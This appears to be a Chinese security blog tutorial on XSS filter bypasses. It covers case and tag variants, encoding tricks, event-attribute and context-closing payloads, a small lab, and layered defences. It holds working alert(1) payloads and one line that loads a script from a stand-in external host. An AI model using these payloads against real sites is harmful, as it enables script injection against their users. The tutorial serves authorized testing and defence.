2026/10/21 5:57:01

XSS绕过全解析:从过滤器机制到实战防御

XSS绕过全解析:从过滤器机制到实战防御 做安全测试这几年XSS算是我打交道最多的漏洞类型之一。这个系列前几篇把XSS的三种类型和基础利用方式讲完了这篇专门聊聊最让人头疼的部分XSS绕过。为什么同一个payload在A系统能弹窗到了B系统就变成一串纯文本为什么明明过滤了尖括号、过滤了script测试者还是能把代码塞进去执行这些问题如果只看理论永远隔着一层窗户纸。这篇笔记从过滤器的工作机制、经典绕过思路、实际测试流程一直讲到防御方该怎么堵漏。它既适合正在学Web安全的初学者建立绕过思维也适合后端开发同学拿来自查校验逻辑是否过关。我会尽量用大白话拆解原理中间穿插真实测试时踩过的坑最后附一份常见问题排查表希望对你有实际帮助。1. XSS攻击与绕过的底层逻辑1.1 先搞清楚XSS到底在打什么XSS全称Cross-Site Scripting本质上就是未经过滤的用户输入被当成了前端代码执行。用户提交一句文本、一段HTML、一组引号应用没有把它们当作普通数据妥善处理而是直接拼到了页面里。浏览器收到页面后分不清哪个标签是开发者写的、哪个标签是用户塞进去的于是照单全收该执行脚本就执行脚本。一句话总结XSS的根本问题不是“某个标签危险”而是“代码和数据没有分家”。理解这一条特别重要因为后面的所有绕过思路都是围绕这句话展开的。用户输入到达服务器服务器做处理然后拼接输出最后浏览器解析渲染。绕过攻击做的手脚就藏在“服务器处理”这一环——过滤器、WAF都是在中间找恶意特征、做拦截而绕过就是让恶意代码换个形状骗过这道检查等到了浏览器解析那一环再恢复它本来的杀伤力。1.2 为什么会有“绕过”这一说我经常打一个比方过滤器就像门锁升级开锁技巧也跟着升级。XSS防御最常见的手段是“黑名单”比如把script替换成空字符串、把onerror过滤掉、对alert(1)做关键字匹配。开发者认为“我知道恶意代码长什么样看见就拦”从这个角度说黑名单确实简单直接。但黑名单有一个天然缺陷它只能挡住它见过的样子。浏览器的解析规则非常灵活一个关键字可以拆开、编码、变形、借助其他标签间接拼凑黑名单很难穷举所有组合。于是“绕过”就成了一门变形艺术。举两个例子后端如果只是把script删掉测试者可以提交scrscriptipt第一次删除后残留的字符串刚好又拼成script后端如果对alert(1)做了严格匹配测试者还可以尝试eval(String.fromCharCode(...))这类编码方式。同一个漏洞payload可以千变万化这就是XSS绕过要研究的核心问题。理解这一层你就不难明白只要防御方还在依赖黑名单绕过就永远有生存空间。1.3 前置知识三种XSS类型的记忆地图正好系列前几篇讲过XSS分类这里帮大家快速回顾因为“是否经过服务端处理”直接决定了你能用哪些绕过方案。存储型XSS恶意代码持久化存在服务器上其他用户访问页面就执行。服务端参与了存储、读取、输出全过程过滤能做很多文章。反射型XSS恶意代码放在URL或请求参数里服务端“反射”回页面一次性执行。服务端对参数做了过滤的话就需要在参数构造上做绕过。DOM型XSS服务端根本不参与前端JS直接操作location.hash、innerHTML等拿到了恶意数据。这种类型下服务端过滤器可能根本看不到输入你只要过了前端JS那一道基本就畅通无阻。为什么要把三种类型单独拎出来因为它们的“过滤器边界”完全不同。比如在DOM型XSS里针对服务端的黑名单可能完全无效反过来如果前端框架默认做了HTML实体转义你又得面临另一套绕过逻辑。很多初学者分不清这一点拿着一套payload到处套在存储型XSS里能成功的东西放到DOM型里就莫名其妙失效原因就在这里。2. 常见过滤机制的识别与定位2.1 过滤到底过滤了什么做了这么多次测试后我发现绝大多数过滤器的拦截目标可以归成几类标签关键字script、img、svg、iframe。事件属性onerror、onload、onclick、onfocus。函数关键字alert、prompt、confirm、eval、document.cookie。符号 ( ) / ;。协议关键字javascript:、data:text/html。区别只是有的过滤严格、有的宽松。老实的过滤器会把script整个替换成空粗暴一点的直接干掉尖括号凡是带的输入全部拒绝狡猾一点的过滤器会把你输入里的script替换成script让你在响应里看到原文但无法执行方便开发调试时定位问题。不同策略对应不同绕过难度。这里想多说一句很多系统用的不是“过滤”而是“转义”。过滤是把危险字符删掉转义是把危险字符变成安全文本。比如把变成lt;。转义本身是更稳妥的思路但如果用错了上下文或者只在某些输出点做了转义而漏掉了别处一样会被绕过。2.2 怎么判断过滤器“长什么样”判断过滤器规则这一步很像侦察。我常用的探针是一串混合字符“’img srcx onerroralert(1)。提交之后分三部分看结果第一部分看引号和尖括号确认这些基础符号有没有被处理第二部分看标签结构确认img和onerror有没有被过滤第三部分看函数名alert确认执行函数有没有被黑名单拦截。一次提交三层信息全出来了。第二个点是观察输出位置。过滤器长什么样很重要但你的输入最终被拼到HTML的什么位置更重要。同样弹窗在div标签内容里、在input属性值里、在script变量里完全是三种玩法。反直觉的地方来了有些过滤器看起来拦截很猛但只要找到了输出位置可用的payload形状基本就确定了。所以我做测试的第一件事永远是找“反射点”也就是输入最终出现在页面源码的哪个位置这比研究过滤器规则更优先。2.3 过滤器识别的实操小技巧除了标准探针我还有一个技巧用无害函数名做探测。很多过滤器只对alert做了黑名单confirm、prompt、eval、console.log可能都没拦。所以你提交alert(1)被拦截不代表换console.log(1)也会被拦。另一个思路是让payload不出现任何“危险函数名”。比如外链加载方式script src//example-test.com/x.js/scriptscript和src都不算高危特征很多黑名单不会专门拦截。这种策略层面的绕过不是你用了多高明的编码而是你的整体形状压根不在对方的拦截名单里。再补充一个关于大小写的细节。HTML标签和属性名对大小写不敏感ScRiPt完全能正常解析但很多过滤正则只匹配小写。如果过滤器先做了strtolower或者正则带了i修饰符大小写绕过就失效了。所以判断时要专门测一下大小写变体看返回结果有没有变化这能告诉你这个过滤器是“精细型”还是“粗糙型”。3. 经典绕过思路详解与案例复盘3.1 大小写与标签变体绕过大小写绕过是入门第一课前提是过滤器只做简单字符串匹配没有先做标准化处理。经典payload如下ScRiPtalert(1)/sCrIpT IMG SRCx onerroralert(1)还有标签变体把属性顺序换一下、把空格改成/、使用不闭合的写法比如img/srcx/onerroralert(1)很多正则只考虑了标准写法一遇到属性间没有空格、标签靠/分隔这种变体就漏掉了。为什么这么写还能执行因为HTML解析器非常宽容它允许标签和属性名使用大小写混写也允许属性之间用空格、Tab、换行、斜杠等多种字符做分隔。这个级别的绕过现在直接成功的概率已经不高但它是一切变形思路的基础。我建议初学者先把这个玩明白再往后学编码和上下文闭合因为标签变体背后的“解析器宽容性”同样适用于高级手法。3.2 编码绕过的原理与局限编码绕过常见的有几类HTML实体编码lt;scriptgt;。适合输出位置出现在HTML正文里某些场景下浏览器会把实体解码后再当成标签解析。URL编码%3Cscript%3E。多用于参数传递过程中被应用解码如果应用存在“多重解码”一次URL解码后把payload还原成了可执行代码。JS十六进制/Unicode编码\x61lert(1)。适合输入拼接在JS代码里的情况。比如某个输出点写成onclickvar a...你输入\x27);alert(1);//就能闭合字符串再执行。编码绕过的局限也很明显不是所有上下文都接受编码。在style属性里HTML实体基本不能转化成可执行代码在JS字符串里URL编码一般不会被还原。而且现代浏览器对HTML实体解码的时机有严格限制很多时候你写成lt;scriptgt;会被原样输出根本不触发标签解析。所以编码必须与上下文配合使用不能无脑堆叠。我见过不少新手犯一个错不管输出位置在哪上来就%3Cscript%3E结果是东施效颦。正确做法是先确定上下文能接受哪种编码形式再决定payload的编码策略。3.3 事件属性与空字符/换行绕过如果系统把script、img这些标签都过滤了事件属性常常是突破口。一个经典payload是svg onloadalert(1)如果img被过滤可以换svg如果onload被过滤可以换onerror、onmouseover、onfocus、onmouseenter。事件属性数量很多黑名单很难全部覆盖。还有一种利用解析器宽容性的手法在属性名和等号之间插入换行或Tab很多正则的\s匹配不到某些空白字符但浏览器解析时会忽略这些空白。例如a hrefjav ascript:alert(1)click/a在javascript:中间插入换行部分正则识别不出这个协议头但浏览器解析时会把换行当作空白吞掉点击链接照样执行JS。这种绕过的本质是“解析差异”过滤器和浏览器对同一个输入的理解不一致。黑名单做的是“看起来像不像恶意”浏览器做的是“能不能执行”恶意代码只要在最终解析时变成可执行结构就算成功。3.4 上下文相关的突破思路这部分才是完整绕过测试的核心。先看输出点的上下文类型再决定payload形状。第一种输出在HTML标签内容里比如div[输入]/div。想弹窗就得新开一个标签scriptalert(1)/script img srcx onerroralert(1)如果尖括号被转义这个上下文基本就被封死了。第二种输出在HTML属性里比如input value[输入]。正常思路是闭合引号img srcx onerroralert(1)如果双引号被过滤还可以看看有没有单引号、有没有一定需要引号的场景。有时候甚至不用闭合整个属性只添加新事件就够了 onmouseoveralert(1)这段输入被拼进去后变成input value onmouseoveralert(1)不需要引入尖括号照样触发弹窗。第三种输出在JS代码里比如var msg [输入];。思路变成闭合字符串、闭合语句、构造注释;alert(1);//如果分号或引号被处理又得换思路比如用反引号、换行符、模板字符串的${}等方式。上下文类型决定了payload形状建议初学者把常见上下文和对应闭合模板整理成一张速查表测试时直接套模板再做变形。4. 实操自建环境下的绕过测试全过程4.1 测试环境搭建绕过测试必须在自建靶场或获得明确授权的环境中进行这一点我放在最前面。我自己的习惯是搭一个极简的本地服务不需要复杂框架只要能模拟两种典型输出上下文就够了。一个接口把用户输入原样拼到div标签内容里作为HTML输出模拟标签上下文另一个接口把用户输入拼到input value...属性里模拟属性上下文。伪代码如下!-- 标签上下文 -- div?php echo $_GET[q]; ?/div !-- 属性上下文 -- input value?php echo $_GET[q]; ?过滤器可以做三个版本只过滤script、过滤尖括号、黑名单alert。每个版本跑一遍记录哪种payload能成功、哪种无效。这种方式比自己空想强太多因为你亲手提交一次就记住一个解析细节。4.2 从探测到确认漏洞的完整流程我用一个典型流程演示第一步正常输入hello观察输出位置和回显方式。第二步提交探针“’img srcx onerroralert(1)看返回结果。重点观察引号有没有被转义、尖括号有没有被过滤、alert有没有被替换。第三步如果alert被过滤但其他字符保留换confirm(1)或prompt(1)。第四步如果img被过滤换svg onloadalert(1)或者details open ontogglealert(1)。第五步如果尖括号被转义回到上下文思考。比如拼在属性里能不能闭合引号而不需要尖括号输入 onclickalert(1)只要引号被保留就能在不使用尖括号的情况下新增一个事件属性。第六步用浏览器开发者工具看最终DOM里解析成了什么结构。这一步最关键很多绕过是否成功从DOM节点上立刻能判断而不是只看响应原文。第七步确认能执行后把payload、上下文、过滤器规则、哪些变形有效通通记进备忘。这个记录习惯会积累成你个人的payload字典。4.3 绕过测试的现场心得经验一浏览器地址栏会自动做URL解码导致你在地址栏看到的payload和你通过请求工具发送的payload未必一致。所以测试时尽量用专门的请求工具或脚本避免浏览器帮你多做了“一次解码”。经验二很多框架会对用户输入做一次HTML实体编码比如变成#x27;。这件事本身是安全的但如果输出点本身处在v-html、innerHTML、dangerouslySetInnerHTML这类会还原实体的接口里实体编码就是纸糊的。我看过的真实案例里不少绕过就发生在“过滤函数做了转义但输出方式又把转义还原了”这一环。经验三不要一开始就堆高难度变形先试最普通的payload再逐步升级。有些测试报告写“未发现XSS”实际上只试了一个scriptalert(1)/script就被转义了根本没有尝试上下文闭合和标签变体。测试不充分比漏洞本身更可怕因为你会误以为系统是安全的。5. 从绕过成功到安全加固的防御视角5.1 绕过背后暴露的防御短板如果说测试者的视角是找过滤器裂缝那防御者的视角就是看自己到底有没有把“数据”和“代码”分开。绕过成功的根本原因我总结下来就四个依赖黑名单。今天拦了script明天还有svg、math、iframe、details。黑名单的维护成本只会越来越高。过滤和输出位置不匹配。在入口做了过滤但输出时用了innerHTML过滤效果直接被打折扣。只过滤不编码。输入过滤是可以被各种变体绕过的而输出编码是针对上下文对特殊字符做转换二者是不同层面的东西。“检查”和“修复”混在一起。有的开发在入库前统一过滤却把过滤后的数据原样拼回HTML等于过滤完又引入了同样的风险。简单讲就是只要“用户输入在输出时仍然处于可执行上下文”绕过的土壤就在。最好的防御不是预测测试者用什么payload而是让任何payload到了输出环节都只能被当作纯文本渲染。5.2 真正有效的纵深防御按优先级排防御建议如下第一层输出编码。在HTML上下文把 转义成对应实体在属性上下文做属性编码在JS上下文做JS转义。这是最核心的一层。第二层输入校验。对明确有格式要求的输入比如手机号、邮箱、URL做白名单校验不符合直接拒绝不要保留“看起来差不多”的脏数据。第三层CSP。script-src self可以限制脚本来源unsafe-inline尽量不要加。CSP能缓解很大一部分存储型XSS的利用。第四层Cookie安全属性。HttpOnly可以防止XSS把Cookie偷走但要清醒地认识到XSS的伤害远不止偷Cookie。第五层定期做安全测试和代码审计重点看所有用户输入到输出之间的链路。我的建议是不要把“用户输入过滤”当成唯一防线而是把输出编码、CSP、输入校验叠加起来。过滤器可以被绕过但多层防线叠加之后绕过成本会指数级上升。安全永远是多层防线不是一道墙。5.3 测试与防御的关系这一段说点个人理解绕过测试不是为了证明“我能打穿”而是为了证明“当前防御在哪个环节断了”。我在做测试时报告里不只会写成功的payload还会标注“什么条件下被绕过”“过滤器的拦截逻辑是什么”。这样开发同学能直接根据测试结果去补输出编码、调整CSP而不是光改一个正则。另外所有绕过测试都要建立在授权范围内这个边界必须守死。在自建靶场里随便折腾在真实业务系统上做任何测试都必须先拿到书面授权。未经授权的测试无论出发点是什么都不应该做。安全人员的价值恰恰在于知道“什么时候能做、边界在哪里”。6. 常见问题与排查技巧实录6.1 常见问题速查表直接整理成表格方便以后对照排查现象可能原因排查思路payload被原样显示但不弹窗尖括号被转义标签无法形成看输出点是否用了innerHTML尝试属性闭合绕过引号被转义成\框架默认做了转义尝试反引号、模板字符串或不用引号直接新增事件属性alert被过滤但confirm可用黑名单只拦了alert换执行函数或使用String.fromCharCode动态生成过滤后出现自动化拼接残留用空字符串替换导致尝试scrscriptipt插入式绕过WAF拦了但应用本身没有过滤双层过滤逻辑不一致在授权测试中尝试编码变形、注释符分割DOM型XSS在响应里看不到输入服务端不参与纯前端执行在浏览器Console里观察location.hash和innerHTML赋值位置最后一行补充一下查DOM型XSS的思路你自己先打开Console输入location.hash看看有没有被解析再搜索innerHTML、outerHTML、document.write这类危险操作位置确认数据流走向。6.2 独家技巧绕过测试的“三板斧”第一板斧记录。每个payload标注环境、过滤规则、上下文、结果形成自己的payload字典。时间久了你会形成“条件反射”看一眼过滤规则就能猜出大概的绕过方向。第二板斧分层。从“标签能不能形成”到“事件能不能触发”再到“函数能不能执行”一层一层拆。不要一上来就想编一个终极payload那样出了问题很难定位是哪一层失效。第三板斧看解析结果。用DevTools的Elements面板看最终DOM树而不是只看响应原文。很多绕过是否成功从DOM节点上立刻能看出来比一遍遍弹窗测试高效得多。最后分享一个我自己的习惯每次测试结束我会把“过滤器规则”和“最终成功的payload”成对记录。过滤器规则相当于防御方的招式成功payload相当于破招招式。积累多了你会发现XSS绕过不是一堆孤立的技巧而是一条清晰的方法论先定位输出上下文再探测过滤边界最后选择变形策略。这套思路才是比任何payload模板都值钱的东西。